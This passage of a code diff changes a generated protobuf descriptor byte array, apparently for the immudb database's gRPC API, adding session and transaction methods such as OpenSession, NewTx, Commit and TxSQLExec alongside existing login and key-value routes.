0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, + 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, + 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, + 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, + 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, - 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, - 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, - 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, - 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, - 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, - 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, - 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, - 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, - 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, + 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, + 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, + 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, + 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, + 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, + 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, + 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, + 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, + 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, + 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, + 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, + 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, + 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, + 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, + 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, + 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, + 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, - 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, - 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, - 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, - 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, - 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, - 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, - 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, - 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 